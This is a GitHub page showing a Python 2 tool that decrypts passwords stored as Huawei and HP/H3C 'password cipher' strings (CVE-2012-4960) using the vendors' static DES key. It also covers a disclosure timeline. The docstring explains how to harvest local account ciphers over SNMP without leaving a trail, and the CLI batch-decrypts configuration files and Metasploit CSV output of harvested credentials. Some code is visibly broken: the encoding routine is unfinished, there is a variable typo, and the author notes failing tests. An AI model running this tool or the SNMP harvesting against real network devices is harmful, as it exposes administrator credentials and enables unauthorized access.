-
Notifications
You must be signed in to change notification settings - Fork 92
/
hh3c_cipher.py
executable file
·466 lines (384 loc) · 16.7 KB
/
hh3c_cipher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
#!/usr/bin/env python
# encoding: utf-8
__version__ = '1.0'
"""
hh3c_cipher.py - You don't make an omlette without cracking a few eggs!
Here's the story...
===================
So here I am, sitting in a crowded office in Asia with a bunch of guys
casually speaking about their network. It's a combination of Cisco,
Huawei, HP, Juniper and whatever else they can get their hands on.
We talk about vulnerabilities and the topic of the Cisco Type 7 password
comes up. It's still part of Cisco IOS. Look at Huawei (ne H3C ne 3Com)
and their cipher!
I mean just look at it! It's long and scary looking!
I'm not phased by this part of the argument. It looks too much like a Base64
string. I obtain some sample cipher results and try my hand at analysis.
Shift bits, string templates... Nope. Doesn't seem to be Base64.
Frustrated I searched the Internet to see if anyone has figured this out but,
alas, it didn't look like it. I shared my collected info with some friends
and went to do other things.
One thing I like to do when I encounter new (to me) devices with SNMP is run
"snmpwalk -c <r/w string> -v 1 $ip .1 > device-mibwalk.txt" -- as that runs
I search for the vendor's MIB collection to see if there's anything cool you
can do. Usually it doesn't bear fruit but...
Hark! What are these little nuggets before me?
SNMPv2-SMI::enterprises.2011.10.2.12.1.1.1.1.1 = "admin"
SNMPv2-SMI::enterprises.2011.10.2.12.1.1.1.2.1 = "<the cipher string again>"
enterprises.2011.2.12.1.1.1 is the H3CUser MIB which, for some reason, will
return the username, password or cipher, access level, and some other bits
of info. So for you penetration testers out there, if you find the SNMP R/O
string then you also get the local accounts/passwords!
Sure you can try to use the H3CCopyConfiguration routines but that may leave
a digital trail.. This... this just gives you the keys because you asked
asked nicely and knew the secret handshake.
Reinvigorated by this finding I picked up the collection of cipher hashes
again.
What follows is the result of this research.
Timeline
--------
June 21, 2012 - see cipher string in snmpwalk, begin curiosity!
July 2012 - work on deciphering the ciphertext
July 20ish, 2012 - success!
August 6, 2012 - contact US-CERT (VU#225404) with intent to disclose
September 5, 2012 - Ask US-CERT for update from HP/H3C
September 6, 2012 - HP/H3C asks for more time before 45-day disclosure
September 6, 2012 - Grant extension till October 20 (Toorcon 14)
October 20, 2012 - Disclos..err..delay per HP request
November 13, 2012 - eMaze researchers disclose the cipher
November 14, 2012 - publish.....!
References:
US-CERT VU#948096
CVE-2012-4960
http://blog.emaze.net/2012/11/weak-password-encryption-on-huawei.html
"""
import sys, os
from Crypto.Cipher import DES
from optparse import OptionParser
class HH3CError(Exception):#ValueError, AssertionError):
pass
class HH3CCipher():
"""
HH3CCipher class
Huawei and HP/H3C HP devices have a consistent method for protecting
passwords stored in their configuration. When entering passwords on
the CLI or in text files, the "password cipher" command will accept
either the cleartext or a cipher.
To recognize the difference the device looks at the length of the string.
If it's 24 or 88 characters it will then check to see if it's an ASCII
representation of the cipher.
"""
#---------------------------------------------------------------------
def __init__(self, key='\x01\x02\x03\x04\x05\x06\x07\x08'):
"""
Sets up DES box
Args:
@key = DES secret key. Default: '\x01\x02\x03\x04\x05\x06\x07\x08'
"""
self.desbox = DES.new(key, DES.MODE_ECB)
#---------------------------------------------------------------------
def bintoascii(self, cipher=None, cipher_len=24):
"""
HH3C Binary to ASCII converter
XXX: Not complete
TOOD: Comments! Logic flow! Notes!
Args:
@cipher = Encrypted cipher string to convert to ASCII
@cipher_len = Output length: 24 or 88
Returns:
@result = ASCII representation of ciphertext string
"""
if not isinstance(cipher, str):
raise HH3CError, 'No cipher string value sent'
return ""
a0 = binval # binary value
a3 = cipher_len # length of cipher output
if a3 == 88: # set the rotation value
a1 = 64
else:
a1 = 16
# null out the result register
result = []
[result.append('\x00') for c in range(0, a3)]
a3 = cipher
t1 = 0
t0 = 63
return result
#---------------------------------------------------------------------
def asciitobin(self, cipher=None):
"""
HH3C ASCII to Binary converter
Args:
@cipher = ASCII Ciphertext to convert to binary
Returns:
@result = Binary string to send to decrypt function
"""
if not isinstance(cipher, str):
raise HH3CError, 'No string sent'
cipherlen = len(cipher)
"""
if cipherlen == 24:
endstep = 16
elif cipherlen == 88:
endstep = 64
else:
"""
if cipherlen != 24 and cipherlen != 88:
raise HH3CError, '%s invalid: must be 24 or 88 characters in length but yours is %s.' % (cipher, cipherlen)
# result is an array of bytes
result = bytearray()
# check value starts as ordinal of 'a' (97)
chkval = ord('a')
# loop in groups of 4 characters at once.
for cnt in range(0, cipherlen, 4):
# -------> character #1
# get ordinal of first character in group
cv1 = ord(cipher[cnt])
if cv1 == chkval:
# ordinals are the same, set checkval 63
cv1 = ord('?')
# move cv1 to cv2 and subtract 33
cv2 = cv1-33
# -------> character #2
# get the ordinal of the next character
cv1 = ord(cipher[cnt+1])
if cv1 != chkval:
# ordinals are not the same, shift cv2 left 6 bytes
cv2 = cv2 << 6
else:
# ordinals are the same, set checkval to 63
cv1 = ord('?')
# move cv1 to cv2 and subtract 33
cv1 = cv1-33
# or cv2 and cv1 together, result into cv2
cv2 = cv2 | cv1
# --------> character #3
# get the ordinal of the 3rd character
cv1 = ord(cipher[cnt+2])
if cv1 != chkval:
# ordinals are not the same, shift cv2 left 6 bytes
cv2 = cv2 << 6
else:
# ordinals are the same, set checkval to 63
cv1 = ord('?')
# move cv1 to cv2 and subtract 33
cv1 = cv1-33
# or cv2 and cv1 together, result into cv2
cv2 = cv2 | cv1
# --------> character #4
# get the ordinal of the 4th character
cv1 = ord(cipher[cnt+3])
if cv1 != chkval:
# ordinals are not the same, shift cv2 left 6 bytes
cv2 = cv2 << 6
else:
# ordinals are the same, set checkval to 63
cv1 = ord('?')
# output
cv1 = cv1-33
cv2 = cv2 | cv1
# take ordinal result and cut byte values into result
result.append((cv2 & 0xff0000) >> 16)
result.append((cv2 & 0xff00) >> 8)
result.append(cv2 & 0xff)
#print str(result).encode("hex")
return result
#---------------------------------------------------------------------
def filltext(self, ct=""):
"""
Pad a cleartext value with nulls
If len(ct) <= 24, fill with null until len == 24 else fill with
null until len == 88
Args:
@ct = Cleartext string
Returns:
@result = Null padded string output
"""
outp = []
if len(ct) <= 24:
[outp.append('\x00') for z in range(0,24)]
else:
[outp.append('\x00') for z in range(0,88)]
for z in range(0, len(ct)-1):
outp[z] = ct[z]
return "".join(outp)
#---------------------------------------------------------------------
def fillbin(self, b=bytearray()):
"""
Pad a bytearray value to 8 byte boundary for DES
Args:
@b = Python bytearray of hex characters
Returns:
@b = Null padded Python bytearray
"""
if not isinstance(b, bytearray):
return b
b = str(b)
while (len(b) % 8):
b += '\x00' * (len(b) % 8)
return b
#---------------------------------------------------------------------
def decipher(self, cipher=None):
"""
Takes an ASCII cipher, turns it into binary string then decrypts
it with a static keyed DES in ECB mode. DES requires sources to be
multiples of 8 bytes so pad it if necessary.
Args:
@cipher = 24 or 88 length ASCII ciphertext
Returns:
@string
"""
try:
binval = self.asciitobin(cipher)
binval = self.fillbin(binval)
a = [ord(x) for x in binval]
#print a
ct = self.desbox.decrypt(str(binval))
except HH3CError, e:
raise HH3CError, e
# return up to the first null byte
# XXX: some tests are failing!
a = [ord(x) for x in ct]
#print a
return ct[:ct.find('\x00')]
#---------------------------------------------------------------------
def encipher(self, ct=None):
"""
Takes a cleartext value, encrypts it with static keyed DES in ECB
mode. DES requires sources to be multiples of 8 bytes to pad if
necessary. Convert binary result to ASCII.
Args:
@cleartext = Cleartext string to encrypt
Returns:
@string - The ASCII string representation
"""
ct = self.filltext(ct)
binval = self.desbox.encrypt(ct)
return self.bintoascii(binval)
##########################################################################
def main(argv=None):
Progname = os.path.basename(sys.argv[0])
optparser = OptionParser(version="%s: %s" % (Progname, __version__))
optparser.add_option("-d", "--debug", dest="debug",
action="store_true", help="log debugging messages")
optparser.add_option("-c", "--cipher", dest="cipher", action="store",
help="ASCII ciphertext to decrypt")
optparser.add_option("-f", "--file", dest="file", action="store",
help="Configuration filename")
optparser.add_option("-l", "--list", dest="list", action="store",
help="Filename with ciphertexts, one per line")
optparser.add_option("-m", "--csv", dest="csv", action="store",
help="Parse Metasploit CSV output")
optparser.add_option("-t", "--tests", dest="tests", action="store_true",
help="Run test list of ciphertexts")
(options, params) = optparser.parse_args()
hh3c = HH3CCipher()
if options.tests:
# run through a list of known cleartext/cipher combos and compare
test_ciphers = [
['bad', 'bad'],
['123', '7-CZB#/YX]KQ=^Q`MAF4<1!!'],
['123', '!TP<\*EMUHL,408`W7TH!Q!!'],
['1234567', '_(TT8F]Y\\5SQ=^Q`MAF4<1!!'],
['huawei', 'N`C55QK<`=/Q=^Q`MAF4<1!!'],
['a', 'D(HD%5.*MN;Q=^Q`MAF4<1!!'],
['aa', 'P+J^5@ZGG[3Q=^Q`MAF4<1!!'],
['aaa', '+Q4Z3D_*-N[Q=^Q`MAF4<1!!'],
['aaaa', 'EHHC8L%9.F3Q=^Q`MAF4<1!!'],
['aaaaa', 'X`9:NJ_A#$WQ=^Q`MAF4<1!!'],
['aaaaaa', 'B.7)"^_<OGCQ=^Q`MAF4<1!!'],
['aaaaaaaa', '2P;JH_C3\'+_Q=^Q`MAF4<1!!'],
['aaaaaaaaaaa', '2P;JH_C3\'+]L"0F+0YESXA!!'],
['aaaaaaaaaaaa', '2P;JH_C3\'+_3aa*aM2AW6!!!'],
['aaaaaaaaaaaaa', '2P;JH_C3\'+`@^BGWH[!)01!!'],
['aaaaaaaaaaaaaaa', '2P;JH_C3\'+^\'^KG@[*)9LQ!!'],
['aaaaaaaaaaaaaaaaaaaa', '2P;JH_C3\'+^\'^KG@[*)9LZ*ZYF[R\'$:5M(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['aaaaaaaaaaaaaaaaaaaaaa', '2P;JH_C3\'+^\'^KG@[*)9LY46C!@@G\JIM(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['aaaaaaaaaaaaaaaaaaaaaaaa', '2P;JH_C3\'+^\'^KG@[*)9LU<WK:`IEBCPM(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', '2P;JH_C3\'+^\'^KG@[*)9LU<WK:`IEBCP2P;JH_C3\'+_Q=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', '2P;JH_C3\'+^\'^KG@[*)9LU<WK:`IEBCP2P;JH_C3\'+^\'^KG@[*)9LU<WK:`IEBCPM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['B', 'YL=J>$++[O3Q=^Q`MAF4<1!!'],
['BB', '.=)#<4^HEV\'Q=^Q`MAF4<1!!'],
['BBB', '=;X/#N\\KW5_Q=^Q`MAF4<1!!'],
['BBBB', 'R([:]]B:1Z\'Q=^Q`MAF4<1!!'],
['BBBBB', '_SY$PANNSX\'Q=^Q`MAF4<1!!'],
['BBBBBB', 'C"#BJT+2Y_;Q=^Q`MAF4<1!!'],
['BBBBBBBB', '*$&$;@K&L+GQ=^Q`MAF4<1!!'],
['BBBBBBBBBBB', '*$&$;@K&L+FRL=Y+XOL:4Q!!'],
['BBBBBBBBBBBB', '*$&$;@K&L+H%@JHTS&F$E1!!'],
['BBBBBBBBBBBBB', '*$&$;@K&L+H\\,A/_#WX,=1!!'],
['BBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK9A1I;=SEa0GM(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['BBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK1!!'],
['BBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK=2_G@0)75/2M(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['BBBBBBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJM(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJ*$&$;@K&L+GQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
['BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJ*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJM(0=0\\)*5WWQ=^Q`MAF4<1!!'],
]
print "--------------------------------------+"
print "+---( HH3C Cipher Tests )-------------+"
print "--------------------------------------+"
tested = 0
passed = 0
failed = 0
for test_cipher in test_ciphers:
tested += 1
(cleartext, cipher) = test_cipher
try:
result = hh3c.decipher(cipher)
if result == cleartext:
#print "Passed: expected %s, received %s" % (cleartext, result)
passed += 1
else:
print "%s FAILED: expected %s (len: %s), received %s (len: %s)" % (cipher, cleartext.encode("hex"), len(cleartext), result.encode("hex"), len(result))
failed += 1
except Exception, e:
print "Exception: %s" % (e)
failed += 1
print "\n(%s) Tests performed, (%s) PASSED, (%s) FAILED\n" % (tested, passed, failed)
elif options.cipher:
print "--------------------------------------+"
print "+---( Single Cipher Decryption )------+"
print "--------------------------------------+"
try:
print hh3c.decipher(options.cipher)
except Exception, e:
print e
elif options.file:
# input / ouput convert looking for cipher strings
import fileinput
import re
cipher_re = re.compile('password cipher ([\x20-\x7e]{24,88})')
for line in fileinput.input(files=options.file):
match = cipher_re.search(line)
if match:
cipher = match.group(1)
try:
cleartext = hh3c.decipher(cipher)
line = line.replace(cipher, clearetext)
except:
pass
print line
elif options.list:
import fileinput
for line in fileinput.input(files=options.list):
line = line.strip('\r\n')
try:
print "%s: %s" % (line, hh3c.decipher(line))
except Exception, e:
print e
elif options.csv:
import csv
cvsr = csv.reader(open(options.csv, "rb"))
for row in cvsr:
ip = row[0]
account = row[1]
password = row[2]
level = row[3]
if level == "7":
try:
password = hh3c.decipher(password)
except Exception, e:
password = e
print "%s: %s - %s" % (ip, account, password)
if __name__ == "__main__":
sys.exit(main())